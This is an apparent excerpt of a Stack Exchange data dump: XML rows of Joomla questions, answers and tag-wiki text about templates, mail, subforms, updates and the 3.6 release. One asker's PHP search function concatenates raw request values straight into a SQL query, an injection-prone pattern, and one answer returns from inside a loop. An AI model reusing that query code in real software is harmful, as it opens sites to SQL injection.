  <row Id="17825" PostTypeId="1" CreationDate="2016-09-08T07:38:35.090" Score="2" ViewCount="1336" Body="&lt;p&gt;&lt;strong&gt;I want to display the intro image of my categories on the category page.&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have a template override for the category blog.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Because of the layout, I need to place the code outside of the override - in the index.php.&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Inside of the blog layout it's possible to load the intro image with following code:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php if ($this-&amp;gt;category-&amp;gt;getParams()-&amp;gt;get('image')) : ?&amp;gt;&#xA;   &amp;lt;?php echo $this-&amp;gt;category-&amp;gt;getParams()-&amp;gt;get('image'); ?&amp;gt;&#xA;&amp;lt;?php endif; ?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;When I put this in the index.php following error appears:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Notice: Undefined property: JDocumentHtml::$category in C:\xampp\htdocs\PATHTOTEMPLATE\index.php on line 101&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;Fatal error: Call to a member function getParams() on null in C:\xampp\htdocs\PATHTOTEMPLATE\index.php on line 101&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Is this even possible to load it like this? Or does it need to be in the category view?&lt;/p&gt;&#xA;" OwnerUserId="7208" LastEditorUserId="12352" LastEditDate="2019-12-23T20:03:35.450" LastActivityDate="2019-12-23T20:03:35.450" Title="Get Category intro image in the index.php" Tags="|joomla-3.x|template-override|layout|images|category-blog|" AnswerCount="2" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="17826" PostTypeId="1" AcceptedAnswerId="17836" CreationDate="2016-09-08T07:47:53.183" Score="0" ViewCount="74" Body="&lt;p&gt;Little time ago I install Ijoomla Guru 5 and only now I realize that tutorials not opening in modal window. &#xA;I get error ReferenceError: openMyModalNew is not defined. As right now I haven't access to their forum I can't ask them about that.&#xA;Maybe some of you faced with this problem or know how to resolve that.&lt;/p&gt;&#xA;" OwnerUserId="5327" LastActivityDate="2016-09-09T12:11:38.293" Title="ReferenceError: openMyModalNew is not defined error in Ijoomla Guru 5" Tags="|javascript|bootstrap|modal|" AnswerCount="1" CommentCount="2" ClosedDate="2016-09-14T15:12:09.470" ContentLicense="CC BY-SA 3.0" />
  <row Id="17828" PostTypeId="1" AcceptedAnswerId="17862" CreationDate="2016-09-08T12:31:13.830" Score="0" ViewCount="239" Body="&lt;p&gt;I am trying to universally apply text justification to a number of existing articles. Is there some way to do this globally, or for all existing articles or do I have to go through the existing articles and manually set all of the text to justified?&lt;/p&gt;&#xA;" OwnerUserId="8870" LastActivityDate="2016-09-11T09:41:33.637" Title="How to globally justify text in multiple existing articles on a joomla 3 site?" Tags="|editor|" AnswerCount="1" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="17829" PostTypeId="1" CreationDate="2016-09-08T14:02:01.837" Score="3" ViewCount="1424" Body="&lt;p&gt;I am having a couple of issues with a Joomla 3.6 site that I maintain.&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;Issue 1 is with the Joomla update component. When the update attempts&#xA;to run it gets an Ajax alert error, and the following error in&#xA;console:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;XMLHttpRequest cannot load &lt;a href=&quot;http://www.example.com/administrator/components/com_joomlaupdate/restore.php&quot; rel=&quot;nofollow noreferrer&quot;&gt;http://www.example.com/administrator/components/com_joomlaupdate/restore.php&lt;/a&gt;.&#xA;No 'Access-Control-Allow-Origin' header is present on the requested&#xA;resource. Origin '&lt;a href=&quot;http://example.com&quot; rel=&quot;nofollow noreferrer&quot;&gt;http://example.com&lt;/a&gt;' is therefore not allowed&#xA;access.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;The second issue is with uploading images. Whenever I try to upload&#xA;an image either in the media manager, an article or module, the site&#xA;acts like it's uploading the image, refreshes, but never actually&#xA;uploads the image.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have error reporting turned on maximimum and still no errors after&#xA;the routine finishes. I have to say I am completely beside myself as&#xA;to what is going on.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;I can only assume the two issues are related.&lt;/p&gt;&#xA;" OwnerUserId="3919" LastEditorUserId="115" LastEditDate="2017-04-17T13:08:40.587" LastActivityDate="2020-02-01T17:21:16.637" Title="Ajax error when attempting component updates" Tags="|update|ajax|images|file-upload|" AnswerCount="4" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="17830" PostTypeId="1" CreationDate="2016-09-08T14:02:43.493" Score="1" ViewCount="267" Body="&lt;p&gt;I'm looking to add a Component field which will display a list of Joomla users who have a relationship with current the Component item.&lt;/p&gt;&#xA;&lt;p&gt;Below is some sample XML where by I would like &lt;code&gt;[current component id]&lt;/code&gt; to be populated dynamically by the current component ID.&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;field name=&amp;quot;type&amp;quot;&#xA;       type=&amp;quot;sql&amp;quot;&#xA;       query=&amp;quot;SELECT id, name&#xA;              FROM #__users u&#xA;              JOIN #__customtable c ON u.id = c.user_id&#xA;              WHERE c.component_id = [current component id]&amp;quot;&#xA;       key_field=&amp;quot;id&amp;quot;&#xA;       value_field=&amp;quot;name&amp;quot;&#xA;       required=&amp;quot;false&amp;quot;&#xA;       label=&amp;quot;...&amp;quot;&#xA;       description=&amp;quot;...&amp;quot;&#xA;       hint=&amp;quot;...&amp;quot;&#xA; /&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;Is this possible?&lt;/p&gt;&#xA;" OwnerUserId="8973" LastEditorUserId="12352" LastEditDate="2021-05-06T04:01:10.993" LastActivityDate="2021-05-06T04:01:10.993" Title="Dynamic component SQL parameter type" Tags="|component|sql|joomla-3.6|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="17833" PostTypeId="1" AcceptedAnswerId="17870" CreationDate="2016-09-09T07:13:47.290" Score="1" ViewCount="337" Body="&lt;p&gt;For debugging, I tried these lines:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;jimport('joomla.mail.mail');&#xA;&#xA;$m = new JMail();&#xA;$m-&amp;gt;SetFrom('myAddressMail@xx.fr','myName');&#xA;$m-&amp;gt;AddReplyTo('myAddressMail@xx.fr','myFirstName');&#xA;$m-&amp;gt;sendMail('myAddressMail@xx.fr','test', 'myAddressMail@xx.fr','test', 'essai', true,'myAddressMail@xx.fr');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;It works within Joomla 3.4.5 but not within Joomla 3.6.2 (same configuration = php mail - send Test Mail works). &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I think that changes were made in &lt;code&gt;librairies/joomla/mail/mail.php&lt;/code&gt; but which ones / how to use &lt;code&gt;sendMail()&lt;/code&gt; ?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks for help&lt;/p&gt;&#xA;" OwnerUserId="7042" LastEditorUserId="168" LastEditDate="2016-09-09T07:33:45.357" LastActivityDate="2016-09-14T06:23:40.027" Title="sending mail from personnal component = ok with Joomla!3.4.5 but nok with Joomla!3.6.2" Tags="|joomla-3.x|development|jmail|joomla-mail|" AnswerCount="1" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="17835" PostTypeId="1" AcceptedAnswerId="18145" CreationDate="2016-09-09T10:14:53.140" Score="1" ViewCount="174" Body="&lt;p&gt;I have a Joomla 3.4.5 running on an Azure web app and when I try to run the update to 3.6.0 I get the &lt;code&gt;The archive file is corrupt, truncated or archive parts are missing&lt;/code&gt; error. I checked in system information and it says that my &lt;code&gt;/tmp&lt;/code&gt; and &lt;code&gt;/log&lt;/code&gt; directories are writable. From posts elsewhere I saw that it might be the max upload settings in PHP but I reset these using a &lt;code&gt;.user.ini&lt;/code&gt; file to be 20M (the update file is about 10M) and the error still occurs. I checked my &lt;code&gt;/tmp&lt;/code&gt; directory and sure enough the update file never made it into the directory, but uploading it manually via FileZilla doesn't seem to help, I still get the error. Does anyone have any suggestions what to try next? I've been trawling the web but can't see anything useful.&lt;/p&gt;&#xA;" OwnerUserId="7309" LastActivityDate="2016-11-18T16:49:41.403" Title="Archive file corrupt error but tmp dir is writable" Tags="|php|joomla-3.4|update|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="17836" PostTypeId="2" ParentId="17826" CreationDate="2016-09-09T12:11:38.293" Score="1" Body="&lt;p&gt;It looks like jQuery is loading before MooTools and this might be the cause of the issue.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Force MooTools to load first by adding the following line high up in the HEAD section of the template &lt;code&gt;index.php&lt;/code&gt; file:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;JHTML::_('behavior.framework', true);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Alternatively, you may be able to fix the load order using a third party extension such as &lt;a href=&quot;http://extensions.joomla.org/extension/jquery-easy&quot; rel=&quot;nofollow&quot;&gt;jQuery Easy&lt;/a&gt; or disable MooTools if you are not using it via &lt;a href=&quot;http://extensions.joomla.org/extension/mootools-enabler-disabler&quot; rel=&quot;nofollow&quot;&gt;MooTools Enabler/Disabler&lt;/a&gt; or similar.&lt;/p&gt;&#xA;" OwnerUserId="120" LastActivityDate="2016-09-09T12:11:38.293" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="17837" PostTypeId="2" ParentId="17646" CreationDate="2016-09-09T15:33:30.473" Score="1" Body="&lt;p&gt;Actually you shouldn't use JRoute for ajax functions as said in &lt;a href=&quot;https://docs.joomla.org/Supporting_SEF_URLs_in_your_component&quot; rel=&quot;nofollow&quot;&gt;joomla docs&lt;/a&gt;, so just use the system url like: &lt;em&gt;index.php?option=com_component&amp;amp;task=mycontroller.function&lt;/em&gt; without JRoute function.&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;In general, you should only apply this to URLs that users and/or search engines are able to see. For example, there is no need to transform URLs used in redirects that immediately result in other redirects.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Hope this helps&lt;/p&gt;&#xA;" OwnerUserId="3585" LastActivityDate="2016-09-09T15:33:30.473" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="17838" PostTypeId="1" CreationDate="2016-09-09T15:50:01.583" Score="0" ViewCount="94" Body="&lt;p&gt;This is a code am using. However facing an issue due to common id field in all tables&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Problem &lt;code&gt;vid='.$row-&amp;gt;id.'&lt;/code&gt; - in url&#xA;The id field in the url is showing from &lt;code&gt;#__usedcar_products&lt;/code&gt; table, while i want that id should be picked from &lt;code&gt;#__usedcar_variants&lt;/code&gt; table&lt;/p&gt;&#xA;&#xA;&lt;p&gt;See Url in End of full code&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;a href=&quot;index.php?option=com_usedcar&amp;amp;view=product&amp;amp;pid='.$row-&amp;gt;v_prod_id.'&amp;amp;vid='.$row-&amp;gt;id.'&quot;&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Below is Full Code&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;    function loadMainCat($brand,$Carmodel,$minprice,$maxprice,$reg_year, $reg_city, $kms_min,$kms_max,$location){&#xA;    $mainframe =JFactory::getApplication();&#xA;    $option = JRequest::getCmd('option');&#xA;            $database =JFactory::getDBO();&#xA;            global $Itemid; &#xA;&#xA;            /////////////My Sql Condition Start//////////////&#xA;            $cond=&quot;&quot;;&#xA;            if($brand){ $cond.=&quot; and cc.id= &quot;.$brand.&quot;&quot;;}&#xA;            if($Carmodel){ $cond.=&quot; and cv.v_prod_id= &quot;.$Carmodel.&quot;&quot;;}&#xA;            if($minprice!=&quot;&quot; and $maxprice!=&quot;&quot;){&#xA;            $cond.=&quot; and (cv.v_price between &quot;.$minprice.&quot; and &quot;.$maxprice.&quot;)&quot;;&#xA;            }elseif($minprice){ $cond.=&quot; and cv.v_price &amp;gt;= &quot;.$minprice.&quot;&quot;;&#xA;            }elseif($maxprice){ $cond.=&quot; and v_price &amp;lt;= &quot;.$maxprice.&quot;&quot;;}&#xA;&#xA;            if($reg_year){ $cond.=&quot; and cv.registration_year =&quot;.$reg_year.&quot;&quot;;}&#xA;&#xA;            if($reg_city){ $cond.=&quot; and cv.registration_city ='&quot;.$reg_city.&quot;'&quot;;}&#xA;&#xA;            if($kms_min!=&quot;&quot; and $kms_max!=&quot;&quot;){ $cond.=&quot; and (cv.kms_run between &quot;.$kms_min.&quot; and &quot;.$kms_max.&quot;)&quot;;&#xA;            }elseif($kms_min){ $cond.=&quot; and cv.kms_run &amp;gt;= &quot;.$kms_min.&quot;&quot;;&#xA;            }elseif($kms_max){ $cond.=&quot; and cv.kms_run &amp;lt;= &quot;.$kms_max.&quot;&quot;;}&#xA;&#xA;            if($location){ $cond.=&quot; and cv.v_location='&quot;.$location.&quot;'&quot;;}&#xA;            /////////////My Sql Condition End//////////////&#xA;&#xA;            //////////Paging////&#xA;            jimport('joomla.html.pagination');&#xA;            $limit      = $mainframe-&amp;gt;getUserStateFromRequest( 'global.list.limit', 'limit', $mainframe-&amp;gt;getCfg('list_limit'), 'int' );&#xA;            $limit      = 2;&#xA;            $limitstart = $mainframe-&amp;gt;getUserStateFromRequest( 'limitstart', 'limitstart', 0, 'int' );&#xA;            $sql = &quot;select * from #__usedcar_variants cv inner join #__usedcar_products cp  inner join #__usedcar_categories cc on  cc.id=cp.prod_cat_id and cp.id=cv.v_prod_id and cv.id=cv.id and cv.state='1' where  1 $cond order by cv.id desc&quot;;&#xA;&#xA;&#xA;            $database-&amp;gt;setQuery($sql);&#xA;            $total = $database-&amp;gt;loadResult();&#xA;            $pageNav = new JPagination( $total, $limitstart, $limit );&#xA;            $database-&amp;gt;setQuery( $sql, $this-&amp;gt;getState('limitstart'), $this-&amp;gt;getState('limit') );&#xA;            $database-&amp;gt;getQuery($sql);&#xA;            $rows = $database-&amp;gt;loadObjectList();&#xA;&#xA;            $list=&quot;&quot;;&#xA;            $flg=0;&#xA;            if($rows){&#xA;            $list.=' &amp;lt;table width=&quot;100%&quot; border=&quot;0&quot; cellspacing=&quot;0&quot; cellpadding=&quot;0&quot;&amp;gt;&#xA;                                          &amp;lt;tr&amp;gt;&#xA;                                            &amp;lt;td&amp;gt;&#xA;                                                &amp;lt;!--listing start header--&amp;gt;&#xA;                                                                                    &amp;lt;/td&amp;gt;&#xA;                                          &amp;lt;/tr&amp;gt;';&#xA;                foreach($rows as $row){&#xA;                if($row-&amp;gt;v_small_img!=&quot;&quot;){&#xA;                        $img = &quot;/&quot;.$row-&amp;gt;v_small_img;&#xA;                }else&#xA;                        $img ='#';&#xA;&#xA;                    $list.='&amp;lt;tr&amp;gt;&#xA;                                &amp;lt;td&amp;gt;&#xA;&#xA;     &amp;lt;div class=&quot;technology&quot;&amp;gt;'.$row-&amp;gt;cat_name.'&amp;lt;/div&amp;gt;&#xA;&#xA;&amp;lt;p&amp;gt;&amp;lt;a href=&quot;index.php?option=com_usedcar&amp;amp;view=product&amp;amp;pid='.$row-&amp;gt;v_prod_id.'&amp;amp;vid='.$row-&amp;gt;id.'&quot;&amp;gt;&amp;lt;b&amp;gt;Used&amp;lt;/b&amp;gt;&amp;lt;/a&amp;gt;&amp;lt;/p&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="5654" LastActivityDate="2018-07-24T07:52:25.950" Title="Field value picked from wrong table due to same field name in different tables" Tags="|joomla-3.x|mysql|" AnswerCount="3" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="17839" PostTypeId="2" ParentId="17838" CreationDate="2016-09-09T16:35:44.113" Score="0" Body="&lt;p&gt;in select query you requested data from table #__usedcar_variants, so you should not have id from another table, isn't it. also you need to fix typo where it .. cv.id=cv.id -&gt; cv.id=cp.id&lt;/p&gt;&#xA;" OwnerUserId="351" LastActivityDate="2016-09-09T16:35:44.113" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="17842" PostTypeId="1" AcceptedAnswerId="17857" CreationDate="2016-09-10T00:27:59.457" Score="0" ViewCount="170" Body="&lt;p&gt;I have been playing around with the new Subform field.  But it seems to be buggy in front end editing.  If I delete or move an item and click save, one of the items will be duplicated and no items removed.  The inserted html and interface all appear to be working, there are no js errors or anything like that - it's only on save that it puts all the items back in the orders of their data id with duplicates if i attempt reordering.  My twofold question is: has anyone else found this, and does the front end template matter?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My module param xml is like&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;config&amp;gt;&#xA;    &amp;lt;fields name=&quot;params&quot;&amp;gt;&#xA;        &amp;lt;fieldset name=&quot;basic&quot; &amp;gt;&#xA;&#xA;            &amp;lt;field name=&quot;title&quot; type=&quot;text&quot; label=&quot;Title&quot; size=&quot;50&quot; /&amp;gt;&#xA;&#xA;            &amp;lt;field name=&quot;subform1&quot; type=&quot;subform&quot; formsource=&quot;modules/mod_basic_subforms/subforms/itemform.xml&quot; layout=&quot;joomla.form.field.subform.repeatable&quot; multiple=&quot;true&quot; min=&quot;1&quot; max=&quot;20&quot; label=&quot;Items&quot; /&amp;gt;    &#xA;&#xA;        &amp;lt;/fieldset&amp;gt;&#xA;    &amp;lt;/fields&amp;gt;&#xA;&amp;lt;/config&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;And my subform xml is like:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;form&amp;gt;&#xA;&amp;lt;fieldset name=&quot;theitem&quot; label=&quot;Item&quot;&amp;gt;&#xA;    &amp;lt;field name=&quot;item_text&quot; type=&quot;text&quot; label=&quot;Name&quot; size=&quot;50&quot; /&amp;gt;&#xA;    &amp;lt;field name=&quot;item_desc&quot; type=&quot;textarea&quot; label=&quot;Description&quot; cols=&quot;50&quot; rows=&quot;5&quot; /&amp;gt;&#xA;&amp;lt;/fieldset&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;/p&gt;&#xA;" OwnerUserId="7374" LastEditorUserId="7374" LastEditDate="2016-09-10T22:53:04.913" LastActivityDate="2016-09-11T00:27:54.510" Title="Sub Form Field Frontend Editing Bug?" Tags="|subform|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="17843" PostTypeId="2" ParentId="17825" CreationDate="2016-09-10T01:10:12.110" Score="2" Body="&lt;p&gt;Knowing a tiny bit about the joomla request-reponse lifecycle will help here.  Joomla runs in the following order:&#xA;1. bootstrap the application&#xA;2. router&#xA;3. component (including your own layout overrides)&#xA;4. modules&#xA;5. template&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Various objects like the jsession and jinput allow you to get and set variables during the lifecyle so if you just set the html of your image from the category layout override into a jinput variable then you can retrieve it in any module or template php.  Note using the RAW filter when retrieving the value is required because otherwise your html will probably get stripped out&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This would go in your category layout&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;JFactory::getApplication()-&amp;gt;input-&amp;gt;set('category_image_html',$this-&amp;gt;category-&amp;gt;getParams()-&amp;gt;get('image'));&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;this can be in any module or template php&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;echo JFactory::getApplication()-&amp;gt;input-&amp;gt;get('category_image_html', 'default_value_if_you_want_one', 'RAW');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="7374" LastActivityDate="2016-09-10T01:10:12.110" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="17844" PostTypeId="2" ParentId="17830" CreationDate="2016-09-10T01:19:36.330" Score="1" Body="&lt;p&gt;Not in the XML file as you have it - you'll need a custom field for this. You can then easily get your component item's id from the jinput and built your sql with that.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://docs.joomla.org/Creating_a_custom_form_field_type&quot; rel=&quot;nofollow&quot;&gt;Doc on making a custom field&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="7374" LastActivityDate="2016-09-10T01:19:36.330" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="17845" PostTypeId="2" ParentId="17824" CreationDate="2016-09-10T01:44:58.053" Score="1" Body="&lt;p&gt;It looks like you could use a join in the query to use 1 query instead of 2 but I think you want something like the following.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function subjectlist($username,$active){&#xA;&#xA;    $html = &quot;&quot;;&#xA;    // getting branch, semester and subject code of present classes of the teacher&#xA;    $db = JFactory::getDbo();&#xA;    $query = $db-&amp;gt;getQuery(true);&#xA;    $query-&amp;gt;select('sem,code')&#xA;        -&amp;gt;from('iust_teachers_classes')&#xA;        -&amp;gt;where('teacher = '. $db-&amp;gt;q($username). 'AND active = ' .$db-&amp;gt;q($active));&#xA;&#xA;    $db-&amp;gt;setQuery($query);&#xA;    $sem_codes = $db-&amp;gt;loadObjectlist(); &#xA;&#xA;    // Loop to populate the list of all present classes of the teacher&#xA;    foreach ($sem_codes as $sem_code) {&#xA;       $query = $db-&amp;gt;getQuery(true);&#xA;       $query-&amp;gt;select('subject')&#xA;              -&amp;gt;from('iust_subjects')&#xA;              -&amp;gt;where('sem = '. $db-&amp;gt;q($sem_code-&amp;gt;sem). 'AND code = ' .$db-&amp;gt;q($sem_code-&amp;gt;code));&#xA;       $db-&amp;gt;setQuery($query);&#xA;       $sub_list = $db-&amp;gt;loadObjectlist();&#xA;&#xA;        // build the html to return&#xA;        $html .= &quot;&amp;lt;h3&amp;gt;List of present classes : &amp;lt;/h3&amp;gt; &amp;lt;br&amp;gt;&quot;;&#xA;&#xA;        foreach ($sub_list as $sub_item) {&#xA;            $html .= $sub_item-&amp;gt;subject . &quot;&amp;lt;br&amp;gt;&quot;;&#xA;       }&#xA;       return $html;&#xA;    }&#xA;}&#xA;&#xA;// best to pass the username to make the function more reusable&#xA;$username = JFactory::getUser()-&amp;gt;username;&#xA;echo subjectlist($username,0); &#xA;echo subjectlist($username,1);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="7374" LastActivityDate="2016-09-10T01:44:58.053" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="17846" PostTypeId="5" CreationDate="2016-09-10T02:48:35.847" Score="0" Body="&lt;h1&gt;Nooku Framework codename 'Koowa'&lt;/h1&gt;&#xA;&#xA;&lt;p&gt;Raw coding talent and vision, that's what &lt;a href=&quot;http://www.nooku.org/&quot; rel=&quot;nofollow&quot;&gt;Nooku&lt;/a&gt; is about. It's creating a lot of excitement in the joomlasphere. After months of hard work we are revving up all engines as we are sticking to &lt;a href=&quot;http://www.nooku.org/en/about/press-releases.html&quot; rel=&quot;nofollow&quot;&gt;our promise&lt;/a&gt; of making Nooku technology available to more people. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Nooku was launched as the extension that changed the way people manage multi-lingual websites with Joomla. In reality, there is a lot more below the hood. The true power is in the Nooku Framework that drives it. Nooku brings multi-lingual power and future-proof Web 2.0 development to Joomla.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What if you combine the development speed of Ruby on Rails, the flexibility of Symfony, and the power of the Zend Framework, with the simplicity of the J&lt;a href=&quot;http://docs.joomla.org/Framework&quot; rel=&quot;nofollow&quot;&gt;oomla Framework&lt;/a&gt;? What if you have an API that is so intuitive it speaks for itself? What if every part of your code becomes reusable, extensible and replaceable? Imagine as a developer being able to achieve all this in a fraction of the lines of code you need today. Our Nooku Framework delivers this and much more!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The &lt;a href=&quot;http://prezi.com/18701/view/#1&quot; rel=&quot;nofollow&quot;&gt;Nooku Framework (codename 'Koowa')&lt;/a&gt; can be installed in Joomla as a plugin. It allows developers to build more powerful extensions, or even to develop standalone web applications. One of the first major third party Joomla extensions using the framework is &lt;a href=&quot;http://anahitapolis.com/&quot; rel=&quot;nofollow&quot;&gt;Anahita Social Engine&lt;/a&gt; and of course the Nooku extension itself.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For more information visit our &lt;a href=&quot;http://www.nooku.org/en/framework.html&quot; rel=&quot;nofollow&quot;&gt;framework page&lt;/a&gt; on &lt;a href=&quot;http://www.nooku.org/&quot; rel=&quot;nofollow&quot;&gt;nooku.org&lt;/a&gt; or follow (@nooku) us &lt;a href=&quot;http://www.twitter.com/nooku&quot; rel=&quot;nofollow&quot;&gt;on twitter&lt;/a&gt; or track us on &lt;a href=&quot;http://www.ohloh.net/p/nooku&quot; rel=&quot;nofollow&quot;&gt;Ohloh&lt;/a&gt; to stay up to date about the latest framework developments.&lt;/p&gt;&#xA;" OwnerUserId="5638" LastEditorUserId="5638" LastEditDate="2016-09-10T07:13:50.723" LastActivityDate="2016-09-10T07:13:50.723" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="17847" PostTypeId="4" CreationDate="2016-09-10T02:48:35.847" Score="0" Body="The Nooku Framework (codename 'Koowa') can be installed in Joomla as a plugin. It allows developers to build more powerful extensions, or even to develop standalone web applications." OwnerUserId="5638" LastEditorUserId="5638" LastEditDate="2016-09-10T07:13:34.373" LastActivityDate="2016-09-10T07:13:34.373" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="17848" PostTypeId="5" CreationDate="2016-09-10T02:56:01.897" Score="0" Body="" OwnerUserId="-1" LastEditorUserId="-1" LastEditDate="2016-09-10T02:56:01.897" LastActivityDate="2016-09-10T02:56:01.897" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="17849" PostTypeId="4" CreationDate="2016-09-10T02:56:01.897" Score="0" Body="The core Joomla! Search component." OwnerUserId="5638" LastEditorUserId="5638" LastEditDate="2016-09-10T07:07:04.520" LastActivityDate="2016-09-10T07:07:04.520" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="17850" PostTypeId="5" CreationDate="2016-09-10T03:02:19.143" Score="0" Body="&lt;h1&gt;Joomla! 3.6 is Here&lt;/h1&gt;&#xA;&#xA;&lt;p&gt;The Joomla! Project and the Production Leadership Team are proud to announce the release of Joomla! 3.6 as the latest in the 3.x series. &#xA;Joomla! 3.6 introduces more than 400 improvements, including many features which make administration of Joomla! Web sites easier and more feature-rich, as well as many UX (user experience) improvements.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Joomla! 3 is the latest major release of the Joomla! CMS, with 3.6 the seventh standard-term support release in this series. Please note that going from 3.5 to 3.6 is a one-click update and is not a migration. The same is true for any subsequent versions in the 3 series of the CMS.&lt;/p&gt;&#xA;&#xA;&lt;h1&gt;What's new in Joomla! 3.6&lt;/h1&gt;&#xA;&#xA;&lt;p&gt;Here are some highlights of the 3.6 release:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;strong&gt;Joomla! Update&lt;/strong&gt; has been improved and now allows you to reinstall Joomla’s core files at the click of a button, overwriting any modified file(s) and reverting them back to the default.&lt;/li&gt;&#xA;&lt;li&gt;Joomla! 3.6 contains a lot of &lt;strong&gt;UX improvements&lt;/strong&gt;. Now you can find your modules faster, have tasks done by dropdown, improved user management and so much more...&lt;/li&gt;&#xA;&lt;li&gt;With the &lt;strong&gt;new Sub Form Field function&lt;/strong&gt; in Joomla! 3.6, we added some extra additional functionality next to Repeatable fields. Now you can nest XML forms inside each other or reuse your existing forms inside your current form.&lt;/li&gt;&#xA;&lt;li&gt;&lt;strong&gt;Create categories on the fly&lt;/strong&gt;: It can get frustrating when you create a new item, and you realise that you haven’t created a category yet. Joomla! 3.6 now lets you create a category on the fly for articles, contacts, newsfeeds and banners.&lt;/li&gt;&#xA;&lt;li&gt;&lt;strong&gt;Menu type ACL&lt;/strong&gt;: ACL in the backend did not exist at the menu level, now we have improved that. Give or block certain user groups access to a specific menu, and therefore also all menu items of that menu.&lt;/li&gt;&#xA;&lt;li&gt;&lt;strong&gt;See what's in your menus with All Menu Items&lt;/strong&gt;: The new option to show all items from all menus gives you a quick overview of what is displayed where on your website. It has never been easier to spot duplicated links, missing menu items or just get an overview of every menu on your site.&lt;/li&gt;&#xA;&lt;li&gt;And much more... To have a full list of the 3.6 features, please visit our &lt;a href=&quot;https://github.com/joomla/joomla-cms/issues?q=milestone%3A%22Joomla%203.6.0%22%20&quot; rel=&quot;nofollow&quot;&gt;GitHub Repository&lt;/a&gt;.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="5638" LastEditorUserId="5638" LastEditDate="2016-09-10T11:06:10.367" LastActivityDate="2016-09-10T11:06:10.367" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
